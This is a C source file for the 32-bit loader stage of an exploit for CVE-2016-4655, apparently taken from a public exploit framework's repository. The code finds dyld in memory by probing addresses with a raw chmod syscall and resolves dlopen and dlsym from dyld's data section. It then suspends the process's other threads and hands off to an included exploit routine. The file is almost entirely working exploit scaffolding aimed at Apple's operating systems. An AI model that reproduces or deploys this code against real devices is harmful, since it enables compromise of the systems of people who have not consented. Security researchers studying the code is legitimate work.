Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/main32.c
Views: 11780
#include <stdio.h>1#include <string.h>23#include <mach-o/loader.h>4#include <mach-o/nlist.h>5#include <mach-o/dyld.h>6#include <mach/mach.h>78#include <dlfcn.h>9#include <asl.h>1011#include <sys/types.h>12#include <sys/sysctl.h>1314#include <sys/mman.h>1516#define DEBUG 11718#if __aarch64__19typedef struct mach_header_64 mach_header_t;20typedef struct segment_command_64 segment_command_t;21typedef struct section_64 section_t;22typedef struct nlist_64 nlist_t;23#define MH_MAGIC_T MH_MAGIC_6424#define LC_SEGMENT_T LC_SEGMENT_6425#else26typedef struct mach_header mach_header_t;27typedef struct segment_command segment_command_t;28typedef struct section section_t;29typedef struct nlist nlist_t;30#define MH_MAGIC_T MH_MAGIC31#define LC_SEGMENT_T LC_SEGMENT32#endif3334//https://github.com/opensource-apple/dyld/blob/master/configs/dyld.xcconfig - iOS 9.3.435#ifdef __x86_6436#define DYLD_BASE_ADDRESS 0x7fff5fc0000037#elif __arm6438#define DYLD_BASE_ADDRESS 0x12000000039#elif __arm40#define DYLD_BASE_ADDRESS 0x1fe0000041#else42#endif4344int string_compare(const char* s1, const char* s2);45long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6);46void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer);47uint64_t syscall_chmod(uint64_t path, long mode);48uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);49void init_exploit(void * dlsym_addr, void * dlopen_addr);50void init_main();51void init();5253int main()54{55init();56}5758void init()59{60void* dlopen_addr = 0;61void* dlsym_addr = 0;6263uint64_t start = DYLD_BASE_ADDRESS;64/*if (sierra) {*/65/*}*/66uint64_t dyld = find_macho(start, 0x1000, 0);6768resolve_dyld_symbol((void*)dyld, &dlopen_addr, &dlsym_addr);6970typedef void* (*dlopen_ptr)(const char *filename, int flags);71typedef void* (*dlsym_ptr)(void *handle, const char *symbol);72dlopen_ptr dlopen_func = dlopen_addr;73dlsym_ptr dlsym_func = dlsym_addr;74void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);7576// Suspend threads77typedef mach_port_t (*mach_task_self_ptr)();78typedef thread_port_t (*mach_thread_self_ptr)();79typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);80typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);81void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);82mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");83mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");84thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");85task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");86thread_act_t current_thread = mach_thread_self_func();87mach_msg_type_number_t thread_count;88thread_act_array_t thread_list;89kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);90if (!result && thread_count) {91for (unsigned int i = 0; i < thread_count; ++i) {92thread_act_t other_thread = thread_list[i];93if (other_thread != current_thread) {94thread_suspend_func(other_thread);95}96}97}9899// Run exploit100init_exploit(dlsym_addr, dlopen_addr);101102}103104uint64_t syscall_chmod(uint64_t path, long mode)105{106return asm_syscall(15, path, mode, 0, 0, 0, 0);107}108109long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6){110long ret;111#ifdef __x86_64112asm volatile (113"movq %1, %%rax\n\t"114"movq %2, %%rdi\n\t"115"movq %3, %%rsi\n\t"116"movq %4, %%rdx\n\t"117"movq %5, %%rcx\n\t"118"movq %6, %%r8\n\t"119"movq %7, %%r9\n\t"120"syscall"121: "=a"(ret)122: "g"(syscall_number), "g"(arg1), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5), "g"(arg6) );123#elif __arm__124volatile register uint32_t r12 asm("r12") = syscall_number;125volatile register uint32_t r0 asm("r0") = arg1;126volatile register uint32_t r1 asm("r1") = arg2;127volatile register uint32_t r2 asm("r2") = arg3;128volatile register uint32_t r3 asm("r3") = arg4;129volatile register uint32_t r4 asm("r4") = arg5;130volatile register uint32_t r5 asm("r5") = arg6;131volatile register uint32_t xret asm("r0");132asm volatile (133"mov r0, %2\n"134"mov r1, %3\n"135"mov r2, %4\n"136"mov r3, %5\n"137"mov r4, %6\n"138"mov r5, %7\n"139"mov r12, %1\n"140"swi 0x80\n"141"mov %0, r0\n"142: "=r"(xret)143: "r"(r12), "r"(r0), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5)144: "r0", "r1", "r2", "r3", "r4", "r5", "r12");145ret = xret;146#elif __aarch64__147// : ¯\_(ツ)_/¯148volatile register uint64_t x16 asm("x16") = syscall_number;149volatile register uint64_t x0 asm("x0") = arg1;150volatile register uint64_t x1 asm("x1") = arg2;151volatile register uint64_t x2 asm("x2") = arg3;152volatile register uint64_t x3 asm("x3") = arg4;153volatile register uint64_t x4 asm("x4") = arg5;154volatile register uint64_t x5 asm("x5") = arg6;155volatile register uint64_t xret asm("x0");156asm volatile (157"mov x0, %2\n\t"158"mov x1, %3\n\t"159"mov x2, %4\n\t"160"mov x3, %5\n\t"161"mov x4, %6\n\t"162"mov x5, %7\n\t"163"mov x16, %1\n\t"164"svc 0x80\n\t"165"mov %0, x0\n\t"166: "=r"(xret)167: "r"(x16), "r"(x0), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)168: "x0", "x1", "x2", "x3", "x4", "x5", "x16");169ret = xret;170#endif171return ret;172}173174int string_compare(const char* s1, const char* s2)175{176while (*s1 != '\0' && *s1 == *s2)177{178s1++;179s2++;180}181return (*(unsigned char *) s1) - (*(unsigned char *) s2);182}183184uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)185{186while(1) {187uint64_t ptr = addr;188if (pointer) {189ptr = *(uint64_t *)ptr;190}191unsigned long ret = syscall_chmod(ptr, 0777);192if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_T) {193return ptr;194}195196addr += increment;197}198return 0;199}200201// Credits: http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html202void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer)203{204struct load_command* lc;205segment_command_t* sc;206segment_command_t* data;207section_t* data_const = 0;208lc = (struct load_command*)(base + sizeof(mach_header_t));209210for (int i=0;i<((mach_header_t*)base)->ncmds; i++) {211if (lc->cmd == LC_SEGMENT_T) {212sc = (struct segment_command*)lc;213if (string_compare(sc->segname, "__DATA") == 0) {214data = (struct segment_command*)lc;215break;216}217}218lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);219}220data_const = (section_t*)(data + 1);221for (int i=0; i<data->nsects; i++,data_const++) {222if (string_compare(data_const->sectname, "__const") == 0) {223break;224}225}226void **dataConst = base + data_const->offset;227228while (!*dlopen_pointer || !*dlsym_pointer) {229if (string_compare((char*)(dataConst[0]), "__dyld_dlopen") == 0) {230*dlopen_pointer = (void*)dataConst[1];231}232if (string_compare((char*)(dataConst[0]), "__dyld_dlsym") == 0) {233*dlsym_pointer = (void*)dataConst[1];234}235dataConst += 2;236}237}238239#include "exploit32.c"240241242243